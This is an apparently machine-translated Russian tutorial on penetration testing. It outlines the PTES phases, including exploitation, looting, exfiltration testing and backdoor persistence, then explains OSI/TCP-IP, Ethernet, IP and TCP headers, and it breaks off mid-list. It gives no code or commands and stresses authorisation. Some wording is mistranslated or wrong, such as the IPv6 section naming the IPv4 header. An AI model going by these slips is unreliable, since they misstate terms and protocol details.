Тестирование на проникновение Python - Краткое руководство

Тест на проникновение или проникновение можно определить как попытку оценить безопасность ИТ-инфраструктуры путем моделирования кибератаки на компьютерную систему с целью использования уязвимостей.

В чем разница между сканированием уязвимостей и тестированием на проникновение? Сканирование уязвимостей просто определяет отмеченные уязвимости, а тестирование на проникновение, как было сказано ранее, является попыткой использовать уязвимости. Тестирование на проникновение помогает определить, возможен ли в системе несанкционированный доступ или какая-либо другая вредоносная активность.

Мы можем выполнить тестирование на проникновение для серверов, веб-приложений, беспроводных сетей, мобильных устройств и любых других потенциальных точек воздействия с использованием ручных или автоматизированных технологий. Из-за тестирования на проникновение, если мы используем какие-либо уязвимости, то же самое необходимо направить ИТ-специалисту и администратору сетевой системы для достижения стратегического вывода.

Значение теста на проникновение (ручное)

В этом разделе мы узнаем о значении тестирования на проникновение. Рассмотрим следующие моменты, чтобы узнать о значении -

Безопасность организации

Значение тестирования на проникновение можно понять с точки зрения того, что оно дает уверенность в организации с подробной оценкой безопасности этой организации.

Защита конфиденциальности организации

С помощью тестирования на проникновение мы можем выявить потенциальные угрозы до того, как столкнемся с каким-либо ущербом, и защитить конфиденциальность этой организации.

Реализация политик безопасности

Тестирование на проникновение может гарантировать нам реализацию политики безопасности в организации.

Управление эффективностью сети

С помощью тестирования на проникновение можно управлять эффективностью сети. Он может проверять безопасность таких устройств, как межсетевые экраны, маршрутизаторы и т. Д.

Обеспечить безопасность организации

Предположим, если мы хотим внести какие-либо изменения в дизайн сети или обновить программное обеспечение, оборудование и т. Д., Тогда тестирование на проникновение гарантирует безопасность организации от любого вида уязвимости.

Кто такой хороший тестер на проникновение?

Тестировщики на проникновение - это профессионалы в области программного обеспечения, которые помогают организациям укрепить свою защиту от кибератак путем выявления уязвимостей. Тестер на проникновение может использовать ручные методы или автоматизированные инструменты для тестирования.

Давайте теперь рассмотрим следующие важные характеристики хорошего тестера на проникновение:

Знание сетей и разработки приложений

Хороший пентестер должен обладать знаниями в области разработки приложений, администрирования баз данных и сетей, потому что он / она будет иметь дело с настройками конфигурации, а также с кодированием.

Выдающийся мыслитель

Пентестер должен быть выдающимся мыслителем и без колебаний применять различные инструменты и методологии в конкретном задании для получения наилучшего результата.

Знание процедуры

Хороший пентестер должен обладать знаниями для определения объема каждого теста на проникновение, такого как его цели, ограничения и обоснование процедур.

Современные технологии

Пентестер должен быть в курсе своих технических навыков, потому что в любой момент могут произойти любые изменения в технологии.

Умелое составление отчетов

После успешного выполнения тестирования на проникновение тестировщик проникновения должен указать все выводы и потенциальные риски в окончательном отчете. Следовательно, он / она должны иметь хорошие навыки составления отчетов.

Увлечен кибербезопасностью

Страстный человек может добиться успеха в жизни. Точно так же, если человек увлечен кибернетическими ценными бумагами, он может стать хорошим тестером на проникновение.

Объем тестирования на проникновение

Теперь мы узнаем об объеме тестирования на проникновение. Следующие два вида тестов могут определять объем тестирования на проникновение:

Неразрушающий контроль (NDT)

Неразрушающий контроль не подвергает систему никакому риску. NDT используется для поиска дефектов до того, как они станут опасными, без ущерба для системы, объекта и т. Д. При выполнении тестирования на проникновение NDT выполняет следующие действия:

Сканирование удаленных систем

Этот тест сканирует и идентифицирует удаленную систему на предмет возможных уязвимостей.

Проверка

После обнаружения уязвимостей он также выполняет проверку всего обнаруженного.

Правильное использование удаленной системы

В неразрушающем контроле тестер на проникновение будет правильно использовать удаленную систему. Это помогает избежать перебоев.

Note - С другой стороны, при проведении тестирования на проникновение NDT не выполняет Denial-of-Service (DoS) attack.

Разрушительное тестирование

Разрушающее тестирование может подвергнуть систему риску. Это дороже и требует больше навыков, чем неразрушающий контроль. Во время тестирования на проникновение деструктивное тестирование выполняет следующие действия:

  • Denial-of-Service (DoS) attack - Деструктивное тестирование выполняет DoS-атаку.

  • Buffer overflow attack - Он также выполняет атаку переполнения буфера, которая может привести к сбою системы.

Что установить для практического тестирования на проникновение?

Методы и инструменты тестирования на проникновение должны выполняться только в тех средах, которыми вы владеете или имеете разрешение на запуск этих инструментов. Мы никогда не должны применять эти методы в средах, в которых мы не уполномочены делать это, поскольку тестирование на проникновение без разрешения является незаконным.

  • Мы можем потренироваться в тестировании на проникновение, установив пакет виртуализации - либо VMware Player( www.vmware.com/products/player ) илиOracle VirtualBox -

    www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html

  • Мы также можем создавать виртуальные машины (ВМ) из текущей версии -

    • Kali Linux ( www.kali.org/downloads/ )

    • Самурайский фреймворк для веб-тестирования (http://samurai.inguardians.com/)

    • Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )

В последнее время как государственные, так и частные организации сделали кибербезопасность своим стратегическим приоритетом. Киберпреступники часто превращают государственные и частные организации в свои слабые цели, используя разные векторы атак. К сожалению, из-за отсутствия эффективных политик, стандартов и сложности информационной системы киберпреступники имеют большое количество целей, и они добиваются успеха в использовании системы и краже информации.

Тестирование на проникновение - это одна из стратегий, которая может использоваться для снижения рисков кибератак. Успех тестирования на проникновение зависит от эффективной и последовательной методологии оценки.

У нас есть множество методологий оценки, связанных с тестированием на проникновение. Преимущество использования методологии состоит в том, что она позволяет оценщикам последовательно оценивать окружающую среду. Ниже приведены несколько важных методологий -

  • Руководство по методологии тестирования безопасности с открытым исходным кодом (OSSTMM)

  • Открытый проект безопасности веб-приложений (OWASP)

  • Национальный институт стандартов и технологий (NIST)

  • Стандарт выполнения тестирования на проникновение (PTES)

Что такое ПТЭС?

PTES, стандарт выполнения тестирования на проникновение, как следует из названия, является методологией оценки для тестирования на проникновение. Он охватывает все, что связано с тестом на проникновение. В рамках PTES у нас есть ряд технических рекомендаций, относящихся к различным средам, с которыми может столкнуться оценщик. Это самое большое преимущество использования PTES новыми оценщиками, потому что в технических руководствах есть предложения по обращению и оценке среды с помощью стандартных инструментов.

В следующем разделе мы узнаем о различных этапах PTES.

Семь фаз ПТЭС

Стандарт выполнения тестирования на проникновение (PTES) состоит из семи этапов. Эти этапы охватывают все, что связано с тестом на проникновение - от первоначального общения и обоснования пентеста до этапов сбора информации и моделирования угроз, на которых тестировщики работают за кулисами. Это приводит к лучшему пониманию тестируемой организации посредством исследования уязвимостей, эксплуатации и последующей эксплуатации. Здесь технический опыт тестировщиков в области безопасности критически сочетается с бизнес-пониманием взаимодействия и, наконец, с отчетностью, которая фиксирует весь процесс таким образом, который имеет смысл для клиента и обеспечивает максимальную ценность для него.

Мы узнаем о семи этапах PTES в наших следующих разделах -

Фаза взаимодействия перед взаимодействием

Это первый и очень важный этап ПТЭУ. Основная цель этого этапа - объяснить доступные инструменты и методы, которые помогают успешно пройти предварительный этап теста на проникновение. Любая ошибка при выполнении этого этапа может существенно повлиять на остальную часть оценки. Этот этап состоит из следующего:

Запрос на оценку

Самая первая часть, с которой начинается этот этап, - это создание организацией запроса на оценку. АRequest for Proposal (RFP) Оценщикам предоставляется документ, содержащий подробную информацию об окружающей среде, типе требуемой оценки и ожиданиях организации.

Торги

Теперь, исходя из RFP документ, несколько оценочных фирм или отдельные корпорации с ограниченной ответственностью (LLC) будут участвовать в торгах, и сторона, ставка которой соответствует запрошенной работе, цене и некоторым другим конкретным параметрам, выиграет.

Подписание письма-обязательства (EL)

Теперь организация и сторона, выигравшая тендер, подпишут договор о сотрудничестве (EL). Письмо будет иметьstatement of work (SOW) и конечный продукт.

Предварительная встреча

После подписания EL можно начинать точную настройку объема. Такие встречи помогают организации и партии согласовать конкретный объем. Основная цель встречи по определению объема работ - обсудить, что будет проверяться.

Обработка ползучести прицела

Снижение объема работ - это то, когда клиент может попытаться добавить или расширить обещанный уровень работы, чтобы получить больше, чем он, возможно, обещал заплатить. Вот почему следует тщательно продумать внесение изменений в исходный объем, учитывая время и ресурсы. Он также должен быть заполнен в какой-либо документальной форме, такой как электронное письмо, подписанный документ или официальное письмо и т. Д.

Анкеты

Во время первоначального общения с клиентом возникает несколько вопросов, на которые клиент должен будет ответить для правильной оценки объема задания. Эти вопросы предназначены для лучшего понимания того, что клиент хочет получить от теста на проникновение; почему клиент хочет провести тест на проникновение в своей среде; и хотят ли они проводить определенные типы тестов во время теста на проникновение.

Способ проведения теста

Последняя часть этапа подготовки к взаимодействию - определение процедуры проведения теста. На выбор доступны различные стратегии тестирования, такие как Белый ящик, Черный ящик, Серый ящик, Двойное слепое тестирование.

Ниже приведены несколько примеров оценок, которые могут быть запрошены:

  • Тест на проникновение в сеть
  • Тест на проникновение веб-приложений
  • Тест на проникновение в беспроводную сеть
  • Тест на физическое проникновение
  • Социальная инженерия
  • Phishing
  • Голос по Интернет-протоколу (VOIP)
  • Внутренняя сеть
  • Внешняя сеть

Фаза сбора разведданных

Сбор разведданных, вторая фаза PTES, заключается в том, что мы выполняем предварительное обследование цели, чтобы собрать как можно больше информации, которая будет использоваться при проникновении в цель на этапах оценки уязвимости и эксплуатации. Это помогает организациям определить внешнее воздействие командой оценки. Мы можем разделить сбор информации на следующие три уровня:

Сбор информации уровня 1

Автоматизированные инструменты могут почти полностью получить этот уровень информации. Усилия по сбору информации уровня 1 должны соответствовать требованиям соответствия.

Сбор информации уровня 2

Этот уровень информации может быть получен с помощью автоматизированных инструментов уровня 1 и некоторого ручного анализа. Этот уровень требует хорошего понимания бизнеса, включая такую ​​информацию, как физическое местонахождение, деловые отношения, организационная структура и т. Д. Усилия по сбору информации уровня 2 должны соответствовать требованиям соответствия наряду с другими потребностями, такими как долгосрочная стратегия безопасности, приобретение более мелких производителей и т. д.

Сбор информации уровня 3

Этот уровень сбора информации используется в самом продвинутом тесте на проникновение. Вся информация с уровня 1 и уровня 2 вместе с большим объемом ручного анализа требуется для сбора информации уровня 3.

Этап моделирования угроз

Это третий этап ПТЭС. Для правильного выполнения тестирования на проникновение требуется подход к моделированию угроз. Моделирование угроз может использоваться как часть теста на проникновение или может возникнуть в зависимости от ряда факторов. Если мы используем моделирование угроз как часть теста на проникновение, то информация, собранная на втором этапе, будет возвращена в первую фазу.

Следующие шаги составляют фазу моделирования угроз:

  • Соберите необходимую и актуальную информацию.

  • Необходимо идентифицировать и классифицировать первичные и вторичные активы.

  • Необходимо идентифицировать и классифицировать угрозы и сообщества угроз.

  • Необходимо сопоставить сообщества угроз с основными и второстепенными активами.

Сообщества угроз и агенты

В следующей таблице перечислены соответствующие сообщества угроз и агентов с указанием их местоположения в организации.

Расположение Внутренний Внешний
Threat agents/communities Сотрудников Партнеры по бизнесу
Руководители Подрядчики
Администраторы (сеть, система) Конкуренты
Инженеры Поставщики
Техников Национальные государства
Общее сообщество пользователей Хакеры

При оценке с помощью моделирования угроз мы должны помнить, что расположение угроз может быть внутренним. Достаточно одного фишингового письма или одного раздраженного сотрудника, который ставит под угрозу безопасность организации, передавая учетные данные.

Этап анализа уязвимости

Это четвертый этап PTES, на котором оценщик определяет возможные цели для дальнейшего тестирования. На первых трех этапах PTES были извлечены только детали об организации, и оценщик не коснулся каких-либо ресурсов для тестирования. Это наиболее трудоемкий этап ПТЭС.

Следующие этапы составляют анализ уязвимостей -

Тестирование уязвимости

Его можно определить как процесс обнаружения недостатков, таких как неправильная конфигурация и небезопасный дизайн приложений в системах и приложениях хоста и служб. Перед проведением анализа уязвимостей тестировщик должен правильно определить масштаб тестирования и желаемый результат. Тестирование уязвимости может быть следующих типов -

  • Активное тестирование
  • Пассивное тестирование

Мы подробно обсудим эти два типа в наших следующих разделах.

Активное тестирование

Он предполагает прямое взаимодействие с тестируемым компонентом на наличие уязвимостей. Компоненты могут быть на низком уровне, например стек TCP на сетевом устройстве, или на высоком уровне, например, в веб-интерфейсе. Активное тестирование можно провести двумя способами:

Автоматизированное активное тестирование

Он использует программное обеспечение для взаимодействия с целью, изучения ответов и определения на основе этих ответов, присутствует ли уязвимость в компоненте или нет. Важность автоматического активного тестирования по сравнению с ручным активным тестированием можно понять из того факта, что если в системе есть тысячи TCP-портов и нам нужно подключить их все вручную для тестирования, это займет значительно огромное количество времени. Однако выполнение этого с помощью автоматизированных инструментов может сократить много времени и трудозатрат. Сканирование сетевых уязвимостей, сканирование портов, захват баннеров, сканирование веб-приложений можно выполнить с помощью автоматизированных средств активного тестирования.

Ручное активное тестирование

Ручное эффективное тестирование более эффективно по сравнению с автоматическим активным тестированием. Предел погрешности всегда существует при автоматизированном процессе или технологии. Вот почему всегда рекомендуется выполнять прямые подключения вручную к каждому протоколу или сервису, доступному в целевой системе, чтобы проверить результат автоматического тестирования.

Пассивное тестирование

Пассивное тестирование не предполагает прямого взаимодействия с компонентом. Это может быть реализовано с помощью следующих двух методов:

Анализ метаданных

Этот метод предполагает просмотр данных, описывающих файл, а не данных самого файла. Например, файл MS Word содержит метаданные в виде имени автора, названия компании, даты и времени последнего изменения и сохранения документа. Если злоумышленник сможет получить пассивный доступ к метаданным, возникнет проблема безопасности.

Мониторинг трафика

Его можно определить как метод подключения к внутренней сети и сбора данных для автономного анализа. Он в основном используется для захвата“leaking of data” в коммутируемую сеть.

Проверка

После тестирования уязвимости очень необходима проверка результатов. Это можно сделать с помощью следующих техник -

Корреляция между инструментами

Если оценщик проводит тестирование уязвимостей с помощью нескольких автоматизированных инструментов, то для проверки результатов очень необходимо иметь корреляцию между этими инструментами. Выводы могут усложниться, если между инструментами нет такой корреляции. Его можно разбить на конкретное соотношение элементов и категориальное соотношение элементов.

Проверка конкретного протокола

Валидация также может производиться с помощью протоколов. VPN, Citrix, DNS, Интернет, почтовый сервер можно использовать для проверки результатов.

Исследование

После обнаружения и проверки уязвимости в системе важно определить точность идентификации проблемы и изучить потенциальную возможность использования уязвимости в рамках теста на проникновение. Исследование может проводиться публично или в частном порядке. При проведении общедоступных исследований можно использовать базу данных уязвимостей и рекомендации поставщиков для проверки точности сообщенной проблемы. С другой стороны, при проведении частного исследования можно настроить среду реплики и применить такие методы, как фаззинг или конфигурации тестирования, для проверки точности сообщенной проблемы.

Фаза эксплуатации

Это пятая фаза ПТЭС. На этом этапе основное внимание уделяется получению доступа к системе или ресурсу путем обхода ограничений безопасности. На этом этапе вся работа, выполненная на предыдущих этапах, приводит к получению доступа к системе. Для получения доступа к системе используются следующие общие термины:

  • Popped
  • Shelled
  • Cracked
  • Exploited

Вход в систему на этапе эксплуатации может быть выполнен с помощью кода, удаленного эксплойта, создания эксплойта, обхода антивируса или может быть таким же простым, как вход через слабые учетные данные. После получения доступа, то есть после определения основной точки входа, оценщик должен сосредоточиться на выявлении ценных целевых активов. Если фаза анализа уязвимостей была завершена должным образом, должен был быть составлен список целей с высоким значением. В конечном счете, вектор атаки должен учитывать вероятность успеха и наибольшее влияние на организацию.

Постэксплуатационная фаза

Это шестой этап ПТЭС. На этом этапе оценщик выполняет следующие действия:

Анализ инфраструктуры

На этом этапе выполняется анализ всей инфраструктуры, используемой во время тестирования на проникновение. Например, анализ сети или сетевой конфигурации может быть выполнен с помощью интерфейсов, маршрутизации, DNS-серверов, кэшированных записей DNS, прокси-серверов и т. Д.

Грабеж

Это можно определить как получение информации от целевых хостов. Эта информация актуальна для целей, определенных на этапе предварительной оценки. Эту информацию можно получить из установленных программ, определенных серверов, таких как серверы баз данных, принтер и т. Д. В системе.

Кража данных

В рамках этой деятельности от оценщика требуется составить карту и испытать все возможные пути утечки, чтобы можно было провести измерение силы контроля, т. Е. Обнаружение и блокирование конфиденциальной информации от организации.

Создание настойчивости

Это действие включает в себя установку бэкдора, который требует аутентификации, перезагрузку бэкдора при необходимости и создание альтернативных учетных записей со сложными паролями.

Очистка

Как следует из названия, этот процесс охватывает требования по очистке системы после завершения теста на проникновение. Это действие включает в себя возврат к исходным значениям системных настроек, параметров конфигурации приложения, а также удаление всех установленных бэкдоров и всех созданных учетных записей пользователей.

Составление отчетов

Это заключительный и самый важный этап PTES. Здесь клиент платит на основании окончательного отчета после завершения теста на проникновение. Отчет в основном является зеркалом выводов, сделанных оценщиком о системе. Ниже приведены основные части хорошего отчета.

Управляющее резюме

Это отчет, который сообщает читателю о конкретных целях теста на проникновение и общих выводах этого теста. Целевая аудитория может быть членом экспертного совета главного свита.

Сюжетная линия

Отчет должен содержать сюжетную линию, которая объясняет, что было сделано во время задания, фактические результаты или недостатки безопасности и положительные меры контроля, установленные организацией.

Подтверждение концепции / технический отчет

Подтверждение концепции или технический отчет должны содержать технические детали теста и все аспекты / компоненты, согласованные в качестве ключевых показателей успеха в рамках предварительного задания. В разделе технического отчета будут подробно описаны масштабы, информация, путь атаки, влияние и предложения по исправлению этого теста.

Мы всегда слышали, что для проведения тестирования на проникновение пентестеру необходимо знать об основных сетевых концепциях, таких как IP-адреса, классовые подсети, бесклассовые подсети, порты и широковещательные сети. Самая первая причина заключается в том, что такие действия, как какие хосты находятся в утвержденной области и какие сервисы, порты и функции у них открыты и реагируют, будут определять, какие действия будет выполнять оценщик при тестировании на проникновение. Среда постоянно меняется, а системы часто перераспределяются. Следовательно, вполне возможно, что старые уязвимости могут появиться снова, и без хороших знаний о сканировании сети может случиться так, что начальное сканирование придется повторить. В наших последующих разделах мы обсудим основы сетевого взаимодействия.

Эталонная модель

Эталонная модель предлагает средства стандартизации, которые приемлемы во всем мире, поскольку люди, использующие компьютерную сеть, расположены в широком физическом диапазоне, а их сетевые устройства могут иметь неоднородную архитектуру. Чтобы обеспечить связь между разнородными устройствами, нам нужна стандартизированная модель, т. Е. Эталонная модель, которая предоставит нам способ взаимодействия этих устройств.

У нас есть две эталонные модели, такие как модель OSI и эталонная модель TCP / IP. Однако модель OSI является гипотетической, а TCP / IP - практической моделью.

Модель OSI

Интерфейс открытой системы был разработан Международной организацией по стандартизации (ISO), поэтому его также называют моделью ISO-OSI.

Модель OSI состоит из семи уровней, как показано на следующей диаграмме. Каждый уровень выполняет определенную функцию, однако каждый уровень предоставляет услуги вышестоящему уровню.

Физический слой

Физический уровень отвечает за следующие действия:

  • Активация, поддержание и деактивация физического соединения.

  • Определение напряжений и скоростей передачи данных, необходимых для передачи.

  • Преобразование цифровых битов в электрический сигнал.

  • Выбор типа соединения: симплексное, полудуплексное или полнодуплексное.

Уровень канала передачи данных

Уровень канала данных выполняет следующие функции:

  • Выполняет синхронизацию и контроль ошибок для информации, которая должна передаваться по физическому каналу.

  • Включает обнаружение ошибок и добавляет биты обнаружения ошибок к данным, которые должны быть переданы.

Сетевой уровень

Сетевой уровень выполняет следующие функции -

  • Для маршрутизации сигналов по различным каналам на другой конец.

  • Действовать как сетевой контроллер, решая, какие данные маршрута должны принимать.

  • Чтобы разделить исходящие сообщения на пакеты и собрать входящие пакеты в сообщения для более высоких уровней.

Транспортный уровень

Транспортный уровень выполняет следующие функции -

  • Он решает, должна ли передача данных происходить по параллельным путям или по одиночному пути.

  • Он выполняет мультиплексирование, разделение данных.

  • Он разбивает группы данных на более мелкие блоки, чтобы они более эффективно обрабатывались сетевым уровнем.

Транспортный уровень гарантирует передачу данных от одного конца к другому.

Сессионный уровень

Сессионный уровень выполняет следующие функции -

  • Управляет сообщениями и синхронизирует разговоры между двумя разными приложениями.

  • Он контролирует вход и выход, идентификацию пользователя, биллинг и управление сеансами.

Слой презентации

Уровень представления выполняет следующие функции -

  • Этот уровень гарантирует, что информация доставляется в такой форме, чтобы принимающая система ее понимала и использовала.

Уровень приложения

Уровень приложения выполняет следующие функции -

  • Он предоставляет различные услуги, такие как манипулирование информацией несколькими способами, повторная передача файлов с информацией, распространение результатов и т. Д.

  • Такие функции, как LOGIN или проверка пароля, также выполняются на уровне приложений.

Модель TCP / IP

Модель протокола управления передачей и Интернет-протокола (TCP / IP) - это практическая модель, которая используется в Интернете.

Модель TCP / IP объединяет два уровня (физический уровень и уровень канала передачи данных) в один уровень - уровень хост-сеть. На следующей диаграмме показаны различные уровни модели TCP / IP -

Уровень приложения

Этот уровень такой же, как и в модели OSI, и выполняет следующие функции:

  • Он предоставляет различные услуги, такие как манипулирование информацией несколькими способами, повторная передача файлов с информацией, распространение результатов и т. Д.

  • Уровень приложений также выполняет такие функции, как ВХОД или проверка пароля.

  • Ниже приведены различные протоколы, используемые на уровне приложений.

    • TELNET
    • FTP
    • SMTP
    • DN
    • HTTP
    • NNTP

Транспортный уровень

Он выполняет те же функции, что и транспортный уровень в модели OSI. Обратите внимание на следующие важные моменты, связанные с транспортным уровнем:

  • Он использует протоколы TCP и UDP для сквозной передачи.

  • TCP - надежный протокол, ориентированный на соединение.

  • TCP также управляет потоком данных.

  • UDP не является надежным, а протокол без установления соединения не выполняет управление потоком.

  • На этом уровне используются протоколы TCP / IP и UDP.

Интернет-уровень

Функция этого уровня состоит в том, чтобы позволить хосту вставлять пакеты в сеть, а затем заставлять их независимо перемещаться к месту назначения. Однако порядок получения пакетов может отличаться от последовательности, в которой они были отправлены.

Интернет-протокол (IP) используется на Интернет-уровне.

Уровень хост-сеть

Это самый нижний уровень в модели TCP / IP. Хост должен подключаться к сети с использованием некоторого протокола, чтобы он мог отправлять по нему IP-пакеты. Этот протокол варьируется от хоста к хосту и от сети к сети.

На этом уровне используются различные протоколы:

  • ARPANET
  • SATNET
  • LAN
  • Пакетное радио

Полезная архитектура

Ниже приведены некоторые полезные архитектуры, которые используются в сетевой связи.

Архитектура кадра Ethernet

Инженер по имени Роберт Меткалф впервые изобрел сеть Ethernet, определенную в соответствии со стандартом IEEE 802.3, в 1973 году. Впервые она была использована для соединения и передачи данных между рабочей станцией и принтером. Более чем в 80% локальных сетей используется стандарт Ethernet из-за его скорости, меньшей стоимости и простоты установки. С другой стороны, если мы говорим о кадре, то данные по пути передаются от хоста к хосту. Кадр состоит из различных компонентов, таких как MAC-адрес, IP-заголовок, начальный и конечный разделители и т. Д.

Кадр Ethernet начинается с преамбулы и SFD. Заголовок Ethernet содержит MAC-адрес источника и назначения, после которого присутствует полезная нагрузка кадра. Последнее поле - CRC, которое используется для обнаружения ошибки. Базовая структура кадра Ethernet определена в стандарте IEEE 802.3, который поясняется ниже:

Формат кадра Ethernet (IEEE 802.3)

Пакет Ethernet транспортирует кадр Ethernet в качестве полезной нагрузки. Ниже приведено графическое представление кадра Ethernet вместе с описанием каждого поля.

Имя поля Преамбула SFD (начало разделителя кадра) MAC-адрес назначения Исходный MAC Тип Данные CRC
Размер (в байтах) 7 1 6 6 2 46-1500 4

Преамбула

Кадру Ethernet предшествует преамбула размером 7 байтов, которая информирует принимающую систему о начале кадра и позволяет отправителю, а также получателю установить битовую синхронизацию.

SFD (начало разделителя кадра)

Это 1-байтовое поле, используемое для обозначения того, что поле MAC-адреса назначения начинается со следующего байта. Иногда поле SFD считается частью преамбулы. Вот почему преамбула во многих местах считается 8-байтовой.

  • Destination MAC - Это 6-байтовое поле, в котором у нас есть адрес принимающей системы.

  • Source MAC - Это 6-байтовое поле, в котором у нас есть адрес отправляющей системы.

  • Type- Он определяет тип протокола внутри кадра. Например, IPv4 или IPv6. Его размер составляет 2 байта.

  • Data- Это также называется полезной нагрузкой, и сюда вставляются фактические данные. Его длина должна быть от 46 до 1500 байт. Если длина меньше 46 байтов, то добавляется заполнение нулями, чтобы соответствовать минимально возможной длине, то есть 46.

  • CRC (Cyclic Redundancy Check) - Это 4-байтовое поле, содержащее 32-битную CRC, что позволяет обнаруживать поврежденные данные.

Формат расширенного кадра Ethernet (кадр Ethernet II)

Ниже приведено графическое представление расширенного кадра Ethernet, с помощью которого мы можем получить полезную нагрузку размером более 1500 байт.

Имя поля MAC-адрес назначения Исходный MAC Тип DSAP SSAP Ctrl Данные CRC
Размер (в байтах) 6 6 2 1 1 1 > 46 4

Описание полей, которые отличаются от кадра Ethernet IEEE 802.3, выглядит следующим образом:

DSAP (конечная точка доступа к услуге)

DSAP - это поле длиной 1 байт, которое представляет логические адреса объекта сетевого уровня, предназначенного для получения сообщения.

SSAP (исходная точка доступа к сервису)

SSAP - это поле длиной 1 байт, которое представляет логический адрес объекта сетевого уровня, создавшего сообщение.

Ctrl

Это 1-байтовое поле управления.

Архитектура IP-пакетов

Интернет-протокол - один из основных протоколов в наборе протоколов TCP / IP. Этот протокол работает на сетевом уровне модели OSI и на интернет-уровне модели TCP / IP. Таким образом, этот протокол отвечает за идентификацию хостов на основе их логических адресов и за маршрутизацию данных между ними по базовой сети. IP обеспечивает механизм однозначной идентификации хостов по схеме IP-адресации. IP использует доставку с максимальной эффективностью, т. Е. Не гарантирует, что пакеты будут доставлены на назначенный хост, но он сделает все возможное, чтобы достичь места назначения.

В наших последующих разделах мы узнаем о двух разных версиях IP.

IPv4

Это Интернет-протокол версии 4, в котором используется 32-битный логический адрес. Ниже приведена диаграмма заголовка IPv4 вместе с описанием полей.

Версия

Это версия используемого Интернет-протокола; например IPv4.

МГП

Длина заголовка Интернета; длина всего IP-заголовка.

DSCP

Кодовый пункт дифференцированных услуг; это Тип обслуживания.

ECN

Явное уведомление о перегрузке; он несет информацию о загруженности, наблюдаемой на маршруте.

Общая длина

Длина всего IP-пакета (включая IP-заголовок и полезную нагрузку IP).

Идентификация

Если IP-пакет фрагментирован во время передачи, все фрагменты содержат один и тот же идентификационный номер.

Флаги

В соответствии с требованиями сетевых ресурсов, если IP-пакет слишком велик для обработки, эти «флаги» сообщают, могут ли они быть фрагментированы или нет. В этом 3-битном флаге старший бит всегда установлен в «0».

Смещение фрагмента

Это смещение сообщает точное положение фрагмента в исходном IP-пакете.

Время жить

Чтобы избежать зацикливания в сети, каждый пакет отправляется с некоторым установленным значением TTL, которое сообщает сети, сколько маршрутизаторов (переходов) может пересечь этот пакет. На каждом шаге его значение уменьшается на единицу, и когда значение достигает нуля, пакет отбрасывается.

Протокол

Сообщает сетевому уровню на хосте назначения, какому протоколу принадлежит этот пакет, т. Е. Протоколу следующего уровня. Например, номер протокола ICMP - 1, TCP - 6, а UDP - 17.

Контрольная сумма заголовка

Это поле используется для хранения значения контрольной суммы всего заголовка, которое затем используется для проверки того, получен ли пакет без ошибок.

Адрес источника

32-битный адрес отправителя (или источника) пакета.

Адрес назначения

32-битный адрес Получателя (или места назначения) пакета.

Параметры

Это необязательное поле, которое используется, если значение IHL больше 5. Эти параметры могут содержать значения для таких параметров, как Безопасность, Маршрут записи, Отметка времени и т. Д.

Если вы хотите подробно изучить IPv4, перейдите по этой ссылке - www.tutorialspoint.com/ipv4/index.htm

IPv6

Интернет-протокол версии 6 является самым последним протоколом связи, который, как и его предшественник IPv4, работает на сетевом уровне (уровень-3). Наряду с огромным объемом логического адресного пространства этот протокол имеет множество функций, которые устраняют недостатки IPv4. Ниже приведена диаграмма заголовка IPv4 вместе с описанием полей.

Версия (4 бита)

Он представляет собой версию Интернет-протокола - 0110.

Класс трафика (8 бит)

Эти 8 бит разделены на две части. Старшие 6 битов используются для типа службы, чтобы маршрутизатор знал, какие службы должны быть предоставлены этому пакету. Два младших бита используются для явного уведомления о перегрузке (ECN).

Этикетка потока (20 бит)

Эта метка используется для поддержания последовательного потока пакетов, принадлежащих связи. Источник маркирует последовательность, чтобы помочь маршрутизатору определить, что конкретный пакет принадлежит определенному потоку информации. Это поле помогает избежать изменения порядка пакетов данных. Он предназначен для потоковой передачи мультимедиа в реальном времени.

Длина полезной нагрузки (16 бит)

Это поле используется, чтобы сообщить маршрутизаторам, сколько информации содержит конкретный пакет в своей полезной нагрузке. Полезная нагрузка состоит из заголовков расширений и данных верхнего уровня. С 16 битами можно указать до 65535 байт; но если заголовки расширений содержат заголовок расширения "шаг за шагом", то полезная нагрузка может превышать 65535 байтов, и это поле устанавливается в 0.

Следующий заголовок (8 бит)

Либо это поле используется для указания типа заголовка расширения, либо, если заголовок расширения отсутствует, он указывает PDU верхнего уровня. Значения типа PDU верхнего уровня такие же, как у IPv4.

Предел скачка (8 бит)

Это поле используется для остановки бесконечного цикла пакета в сети. То же, что и TTL в IPv4. Значение поля Hop Limit уменьшается на 1 при прохождении ссылки (маршрутизатор / переход). Когда поле достигает 0, пакет отбрасывается.

Исходный адрес (128 бит)

В этом поле указывается адрес отправителя пакета.

Адрес назначения (128 бит)

В этом поле указан адрес предполагаемого получателя пакета.

Если вы хотите подробно изучить IPv6, перейдите по этой ссылке - www.tutorialspoint.com/ipv6/index.htm

Архитектура заголовка TCP (протокол управления передачей)

Как мы знаем, TCP - это протокол с установлением соединения, в котором сеанс устанавливается между двумя системами до начала связи. Соединение будет закрыто после завершения коммуникации. TCP использует технику трехстороннего рукопожатия для установления сокета соединения между двумя системами. Трехстороннее рукопожатие означает, что три сообщения - SYN, SYN-ACK и ACK, передаются между двумя системами. Шаги работы между двумя системами, инициирующей и целевой системами, следующие:

Step 1 − Packet with SYN flag set

Прежде всего, система, которая пытается инициировать соединение, запускается с пакета, для которого установлен флаг SYN.

Step 2 − Packet with SYN-ACK flag set

Теперь, на этом этапе целевая система возвращает пакет с установленными флагами SYN и ACK.

Step 3 − Packet with ACK flag set

Наконец, инициирующая система вернет пакет исходной целевой системе с установленным флагом ACK.

Ниже приведена диаграмма заголовка TCP вместе с описанием полей -

Исходный порт (16 бит)

Он определяет исходный порт процесса приложения на отправляющем устройстве.

Порт назначения (16 бит)

Он определяет порт назначения процесса приложения на принимающем устройстве.

Порядковый номер (32 бита)

Порядковый номер байтов данных сегмента в сеансе.

Номер подтверждения (32 бита)

Когда установлен флаг ACK, этот номер содержит следующий порядковый номер ожидаемого байта данных и работает как подтверждение получения предыдущих данных.

Смещение данных (4 бита)

Это поле подразумевает как размер заголовка TCP (32-битные слова), так и смещение данных в текущем пакете во всем сегменте TCP.

Зарезервировано (3 бита)

Зарезервировано для использования в будущем и по умолчанию установлено на ноль.

Флаги (1 бит каждый)

  • NS - Процесс сигнализации явного уведомления о перегрузке использует этот бит суммы nonce.

  • CWR - Когда хост получает пакет с установленным битом ECE, он устанавливает «Окна перегрузки» «Уменьшена», чтобы подтвердить получение ECE.

  • ECE - Имеет два значения -

    • Если бит SYN установлен в 0, то ECE означает, что в IP-пакете установлен бит CE (перегрузка).

